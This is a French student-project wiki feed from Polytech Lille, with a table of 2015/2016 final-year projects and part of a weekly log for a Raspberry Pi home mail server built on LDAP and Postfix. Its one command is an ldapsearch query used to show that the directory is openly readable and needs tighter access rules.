Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27559</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27559"/>
				<updated>2016-02-22T15:04:40Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015 12;00&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; mercredi 24 février à 10h avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 22/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rendez-vous pris avec M. Engels le vendredi 25 Février à 10h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Fait Maison&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;RDV mercredi 24 15h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 17:51&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 24/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 25/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:07&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:21&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 22/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bown Alexander / Piat Valentin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Pilulier automatique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Manouk Simon / Corentin Duplouy &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27279</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27279"/>
				<updated>2016-02-17T10:02:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 20 (15/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
